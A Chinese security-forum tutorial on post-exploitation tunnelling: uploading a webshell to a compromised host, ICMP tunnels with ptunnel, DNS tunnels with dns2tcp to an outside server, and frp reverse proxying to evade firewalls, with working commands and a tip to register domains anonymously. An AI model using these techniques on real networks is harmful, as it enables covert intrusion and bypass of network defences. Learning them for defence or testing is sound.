安全矩阵

 找回密码
 立即注册
搜索
查看: 2712|回复: 0

内网隧道应用

[复制链接]

249

主题

299

帖子

1391

积分

金牌会员

Rank: 6Rank: 6

积分
1391
发表于 2022-3-28 19:18:51 | 显示全部楼层 |阅读模式

内容目录1.Tuna搭建HTTP正向代理(不推荐)2.利用ICMP隧道穿透防火墙3.DNS隧道穿透防火墙4.frp内网穿透(推荐使用)
1.Tuna搭建HTTP正向代理(不推荐做了解即可)实验拓扑图
项目地址:https://github.com/SECFORCE/Tunna
原理还是和前天的neoreg一样,但是有时候会出现一点不稳定的情况,还是推荐使用neoreg比较好用。

操作:
拿下B主机,在B主机的web服务目录上传我们的webshell


然后在A主机执行我们的命令
-l 表示本地监听的端口-r 远程要转发的端口-v 详细模式不过我这里是失败了,不好用,不推荐。
2.利用ICMP隧道穿透防火墙一些网络环境中,如果不经过认证,TCP和UDP数据包都会拦截,如果用户可以ping通远程主机,就可以尝试ICMP隧道,将TCP数据通过该隧道发送,实现不受限制的网络访问。
icmptunnel可以将IP流量装进ICMP的ping数据包中,旨在利用ping穿透防火墙的检测,因为防火墙一般是不会屏蔽ping包的。
切记:这种技术只用于特定结构的网络。

实验拓扑图


虽然A与C之间禁用了TCP,但是我们测试可以ping通,所以可以简单判断防火墙没有对icmp协议进行封禁,所以可以实验icmp隧道技术。

操作:
我们需要用到的就是ptunnel工具
在B上执行
ptunnel -x 1234 #1234是密码



在A上执行
ptunnel -p 192.168.30.133(B) -lp 8080 -da 192.168.30.132(C) -dp 80 -x 1234



然后我们在A上访问127.0.0.1:8080就能访问到C的80端口。

3.DNS隧道穿透防火墙DNS Tunneling是隐藏信道的一种,将其他协议封装在DNS协议中传输建立通信。因为DNS是网络中一个必不可少的访问,所以大多数防火墙和设备不会过滤DNS流量。
使用工具:dns2tcp

实验拓扑图

C能访问B,但C只允许DNS出网,防火墙一般不会对53端口进行拦截,所以可以使用DNS隧道。

操作:
第一步:先注册一个域名,我是注册的godaddy,不用实名。
然后设置域名解析
首先添加一条A类解析,主机记录为“dns”,记录值为“42..xx.xx.xxx”,这个IP地址就是腾讯云服务器的公网IP地址。
然后添加一条NS解析,主机记录为“dns2tcp”,记录值为“dns.day8m9.club",域名是自己买的那个就可以。


默认需要十分钟,十分钟后做一个简单的测试,验证是否设置成功。
在随便一台电脑上ping域名“dns.day8m9.club”,若能ping通,且显示的IP地址是“42.xx.xx.xxx”,说明第一条A类解析设置成功并已生效。


然后在服务器上执行
tcpdump -n -i eth0 udp dst port 53
抓53端口的upd数据包
在客户端运行一下命令,对dns.day8m9.club进行查询。
nslookup dns2tcp.werner.wiki
如果服务器数据如下图所示,就说明第二条NS解析设置也成功了。



第二步:在服务器端修改配置
如果没有先安装:
sudo apt-get install dns2tcpsudo vim /etc/dns2tcpd.conf


修改完成后,运行
dns2tcp -f /etc/dns2tcpd.conf -F -d 3

但是一般会出现这种情况,53端口被占用



查看53是被谁占用了
netstat -anp |grep 53


这里我们直接停用占用 53 端口的服务

           

sudo systemctl stop systemd-resolved


然后我们再启动我们的dns2tcp


这样就好了。

第三步:在客户端执行命令

           

dns2tcpc -r ssh -k m9 -z dns2tcp.werner.wiki 42.192.152.182 -l 8888 -c -d 3


意思就是访问本地的8888端口,等于访问到了服务器的22端口
然后我们可以使用ssh或者xshell等等,进行连接。
ip为127.0.0.1 端口为8888

然后我们还可以使用Xshell的转发功能,转发其他端口,在本地进行socks代理进行访问也是ok的。
4.frp内网穿透(推荐使用)实验拓扑图

c是内部网络,他的80端口开放了web服务,B和C之间有防火墙(只允许出网,不允许进网),现在我们想把C的80端口映射到公网B的7777端口上,那么A访问公网7777的端口就可以访问到C的80端口,因为这种方式是C内部发起的,所以可以很好的穿透防火墙。

FRP分为服务器端和客户端。
frp服务器端为linux,负责处理请求,转发流量。
frp客户端linux和windows都支持,负责把本地流量转发到服务器上,让服务器读取写入。

操作:
第一步:frps服务器端配置
我们先将frp-linux上传到vps上,然后解压,在解压目录中执行rm -rf frpc*,删除客户端文件。


然后sudo vim fcps.ini修改一下配置信息。


端口随意,看看你自己要不要改。
然后测试一下,看看是否正常启动。

           

./frps -c frps.ini (也可以先chmod +x frps 加个执行权限)


第二步:Frp客户端配置
修改frpc.ini


此外,如果你设置了token,就要在common下加上token的值。



然后在客户端运行
frpc.exe -c frpc.ini


第三步,尝试通信,测试连通性。
直接访问我们服务器的7777端口,就相当于直接访问到了C主机的80端口,如果还需要访问其他的端口,只需要在客户端中增加[web]信息即可。


回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

小黑屋|安全矩阵

GMT+8, 2025-4-24 15:00 , Processed in 0.022664 second(s), 18 queries .

Powered by Discuz! X4.0

Copyright © 2001-2020, Tencent Cloud.

快速回复 返回顶部 返回列表